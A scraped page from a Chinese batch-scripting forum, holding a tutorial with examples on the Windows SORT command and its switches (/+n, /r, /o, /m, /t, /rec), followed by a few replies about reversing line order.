积分
13
技术
0
捐助
0
注册时间
2012-10-25
4楼
发表于 2012-11-6 10:51 | 只看该作者
之前对这个不了解，学习了！
回复 引用

评分 报告 TOP

wrsbj
  • 发短消息
  • 加为好友

wrsbj 当前离线

UID
70144
帖子
13
精华
0
积分
24
PB
24
技术
0
捐助
0
阅读权限
5
在线时间
0 小时
注册时间
2015-1-1
最后登录
2015-1-2

列兵

帖子
13
积分
24
技术
0
捐助
0
注册时间
2015-1-1
5楼
发表于 2015-1-2 19:09 | 只看该作者
不错不错真心很喜欢
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:26, Processed in 0.041546 second(s), 8 queries, Gzip enabled.


48、字符串排序：sort

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（48）字符串排序：sort
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2012-1-6 13:49 | 只看该作者

[原创] 【续】[一日一教学]（48）字符串排序：sort

本帖最后由 Hello123World 于 2012-1-20 14:37 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. SORT [/R] [/+n] [/M kilobytes] [/L locale] [/REC recordbytes]

  2.   [[drive1:][path1]filename1] [/T [drive2:][path2]]

  3.   [/O [drive3:][path3]filename3]

  4.   /+n                         指定开始每个比较的字符号码 n。/+3 说明每个

  5.                               比较应从每行的第三个字符开始。少于 n 个字符

  6.                               的行排在其他行之前。按默认值，从每行的第一

  7.                               个字符开始比较。

  8.   /L[OCALE] locale            用指定的区域设置替代系统默认区域设置。

  9.                               ""C"" 区域设置产生最快的排序顺序并且是当前

  10.                               的唯一其他选择。排序总是不分大小写的。

  11.   /M[EMORY] kilobytes         指定用于排序的主内存量，单位为 KB。

  12.                               最小内存量总是 160 KB。如果指定内存大小，

  13.                               无论主内存的可用量是多少，指定的内存量会

  14.                               全部用于排序。

  15.                               要取得最佳性能，通常不指定内存大小。按默认

  16.                               值，如果达到默认最大内存值，排序会一次完成

  17.                               (非临时文件)；否则，排序会分两次完成(没有

  18.                               完全排序的数据存储在临时文件中)；用于排序

  19.                               和合并的内存量相等。如果输入和输出都是文

  20.                               件，默认最大内存量为可用主内存的 90%;

  21.                               否则，为主内存的 45%。

  22.   /REC[ORD_MAXIMUM] characters 指定记录中的最大字符数量

  23.                               (默认值为 4096，最大值为 65535)。

  24.   /R[EVERSE]                  颠倒排序顺序，即，从 Z 到 A，再从 9 到 0。

  25.   [drive1:][path1]filename1   指定要排序的文件。如果没有指定，则排序标准

  26.                               输入。指定输入文件比将同一个文件重定向为标

  27.                               准输入快。

  28.   /T[EMPORARY]

  29.     [drive2:][path2]          指定保留排序工作存储的目录路径，以防主内

  30.                               存无法容纳数据。默认值是使用系统临时目录。

  31.   /O[UTPUT]

  32.     [drive3:][path3]filename3 指定在哪个文件中储存经过排序的输入。

  33.                               如果没有指定，数据会被写入标准输出。指定

  34.                               输出文件比将标准输出重定向到同一个文件快。
复制代码
.

命令概括：

sort，意为“以……排序”。

/r，全英文reverse，意为“颠倒”。
/+n，还是number，意为“数字”。
/m，全英文memory，意为“内存”。
/l，全英文locale，意为“场所”，引申为“区域设置”。
/rec，全英文record，意为“记录”。
/t，全英文temporary，意为“临时的”。
/o，全英文output，意为“输出”。

参数详解：

1.不带任何参数的sort命令

不带任何参数的sort命令，比较第一个字符的大小（字母不区分大小写），按“顺序排列”输出（a-z，0-9）。

例如：
ip.txt
  1. apple

  2. believe

  3. change

  4. desktop

  5. everything

  6. flight

  7. ground

  8. hello

  9. ignore

  10. joke

  11. knowledge

  12. little

  13. memory

  14. normal

  15. outside

  16. Police

  17. quickly

  18. refrigerator

  19. smell

  20. technology

  21. until

  22. violin

  23. water

  24. xenophobia

  25. yellow

  26. zero
复制代码
.

利用sort进行排序。
代码：
  1. C:\Users\HELLOW~1\Desktop>sort ip.txt
复制代码
.

结果：
和ip.txt一摸一样，因为ip.txt中的单词第一个字符顺序都是按“a-z”排列的。

2.利用sort，按单词的第二个字符顺序排列

同样对ip.txt进行处理。

代码：
  1. C:\Users\HELLOW~1\Desktop>sort /+2 ip.txt
复制代码
.

效果：
  1. water

  2. technology

  3. refrigerator

  4. believe

  5. hello

  6. yellow

  7. memory

  8. xenophobia

  9. zero

  10. desktop

  11. ignore

  12. change

  13. violin

  14. little

  15. flight

  16. smell

  17. knowledge

  18. until

  19. joke

  20. Police

  21. normal

  22. apple

  23. ground

  24. quickly

  25. outside

  26. everything
复制代码
.

这一次的排序是按照第二个字符的“顺序排列”（a-z）进行排列的。

结合1、2节不难看出，其实sort ip.txt 的效果等同于 sort /+1 ip.txt。

3.倒序排列

既然可以123，自然可以321。sort命令也可以倒序排列并输出。

①.通常的倒序方法（按字母倒序）
代码：
  1. sort /r ip.txt
复制代码
.

效果：
  1. zero

  2. yellow

  3. xenophobia

  4. water

  5. violin

  6. until

  7. technology

  8. smell

  9. refrigerator

  10. quickly

  11. Police

  12. outside

  13. normal

  14. memory

  15. little

  16. knowledge

  17. joke

  18. ignore

  19. hello

  20. ground

  21. flight

  22. everything

  23. desktop

  24. change

  25. believe

  26. apple
复制代码
.

②.特殊的倒序方法（按文本倒序，由Crlf版主友情提供）

代码：
  1. sort /+13 ip.txt
复制代码
.

效果：
同第一种方法。

说明：

ip.txt中最长的单词是“refrigerator”，合计有12个字母，这里sort 比较第13个字母的大小，但是所有的单词都没有13个字母（最长的才12），此时按文本倒序排列。

所以只要你将/+n中，n的值设置的足够大，此时按文本倒序输出。

由于开篇的ip.txt内容没设置好，导致按字母倒序和按文本倒序产生了相同的结果，事实上这是两种完全不同的排序方法。按字母倒序是根据字母规则（a-z，0-9）进行倒序排列，按文本倒序是将最后一行文本作为第一行，第一行作为最后一行（简而言之就是文本行颠倒）。

例子（由Crlf版主友情提供）：

test.bat：
  1. @echo off

  2. sort /r ip.txt

  3. echo;

  4. sort /+1000 ip.txt

  5. pause
复制代码
.

ip.txt：
  1. 123

  2. abc

  3. 测试

  4. @#￥

  5. ABC
复制代码
.

结果：
  1. 测试

  2. abc

  3. ABC

  4. 123

  5. @#￥

  6.

  7. ABC

  8. @#￥

  9. 测试

  10. abc

  11. 123

  12. 请按任意键继续. . .
复制代码
.

4.将排序结果输出到文件

①.利用重定向符，将排序结果输出到文件
代码：
  1. sort ip.txt>hello1.txt
复制代码
.

效果：
在当前文件夹中生成hello1.txt，内容为：
  1. @#￥

  2. 123

  3. abc

  4. ABC

  5. 测试
复制代码
.

②.利用sort的/o参数，将排序结果输出到文件
代码：
  1. sort ip.txt /o hello2.txt
复制代码
.

效果：
在当前文件夹中生成hello2.txt，内容同hello1.txt。

两者的差别：

根据微软的机器翻译“指定输出文件比将同一文件作为标准输出重定向速度快”，也就是说/o参数比重定向符（>）快，这个不好实际测试，有这么个映象就可以了。

5.对/m，/t参数的一些说明

/m参数是用来指定参与排序的内存，换句话说就是“你分多少内存(单位kb)给sort命令排序”。

/t参数是用来指定缓存文件的目录，举个例子来说，我要处理8m的大文本，指定内存为500kb，500kb怎么装得下8m的文件？这时怎么办呢？——（按1m=1000kb算）先将500kb装入内存，再将剩下的7500kb分15次装入内存，缓存文件放在/t指定的目录中。

例如：

16.txt是一个8m的文本(要做测试的同学，可以到网上下本小说)。
代码：
  1. >22.txt sort 16.txt  /m 500 /t C:\dcache
复制代码
.

说明：
16.txt是一本小说，用sort排序之后自然是“惨不忍睹”的，对于结果没有什么好说的，主要说说这行代码运行后产生的一些问题。

问题1.运行代码后，提出警告信息“警告: 做大量排序时使用重定向输出通常比直接指定输出文件名称来排序慢。”——这个前面说过了“/o参数比重定向符（>）快”。

问题2.运行代码后，在目录C:\dcache中产生了一个以“srt”+16进制随机数命名的.tmp文件，出现过几秒，后被系统删除（没用/t参数指定的目录时，默认缓存文件目录是%temp%）。

问题3.当我将/m指定的内存数500kb变为160kb（160kb是sort命令默认的最小内存）时，竟然提示“没有足够的内存，无法完成排序。”

由问题引出的简单思考：

既然是简单思考，自然不会分析的太过深入。

问题1.如果说/o比重定向符（>）快，而且有时用重定向符（>）还会出现“警告”，那么完全可以舍弃重定向符（>），只要想输出排序结果就用/o参数。

问题2.缓存文件产生的原因是指定了内存的大小，不指定就不会出现，也就是说“不用/m参数就不会出现缓存文件，而不用/m参数，/t参数也没用”。

问题3.不指定用于排序的内存大小，就不会提示“内存不足”，那么不用/m参数不就好了。

总结：sort的/m，/t参数完全可以不用。估计这两个参数，是为了dos时代而准备的，现在的电脑内存——我这台“老爷机”都有1G的内存，实在想不出为了区区几十M的文件分配内存有什么意义。

6./rec参数（指定sort能处理的最大行）

这里的“最大行”，不是说文本中有多少行，而是说一行中最多可以含有多少字符数。

sort命令默认的文本最大行含有4096个字符（2的12次幂），最多可以含有65535个字符。

这里设置了一个特殊的文本a.txt来加以说明。

a.txt中一共含有2行文本，每行文本含有4097个字符。
  1. aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

  2. bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb
复制代码
.

代码和结果：
  1. C:\Users\helloworld\Desktop>sort a.txt

  2. 输入记录超过最大长度。请指定更大的最大限度。

  3.

  4.

  5. C:\Users\helloworld\Desktop>sort /rec 4097 a.txt

  6. 正确回显。
复制代码
.

没讲的内容，/l参数，这个是区域设置相关，我也没弄懂。

扩展阅读：

暂无。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

find
  • 发短消息
  • 加为好友

find 当前离线

UID
44507
帖子
832
精华
0
积分
6744
PB
6618
技术
42
捐助
0
阅读权限
99
在线时间
154 小时
注册时间
2012-1-4
最后登录
2017-3-17

少将

帖子
832
积分
6744
技术
42
捐助
0
注册时间
2012-1-4
2楼
发表于 2012-1-6 14:30 | 只看该作者
有没有具体的例子可以学习一下啊？
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
3楼
发表于 2012-1-15 00:15 | 只看该作者
倒序排列不知指的是 /r 还是？
话说我觉得 sort 最神奇的用法之一就是当使用 /+n 的时候，会将少于 n 字符的行逆序输出，所以我们只要设置一个超大的 n 就...嗯嗯，你懂得
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
4楼
发表于 2012-1-16 16:34 | 只看该作者
回复 3# CrLf

恩，倒序输出就是指/r参数，语言表达能力不行（逆序输出），呵呵。

这个特性有点意思，不过就应用来说，如果只是为了倒序输出，直接加/r参数不是更好吗？还是还有什么其它的应用？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
5楼
发表于 2012-1-16 16:43 | 只看该作者
回复 4# Hello123World

区别在于是对原文顺序逆序还是对排序顺序逆序
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

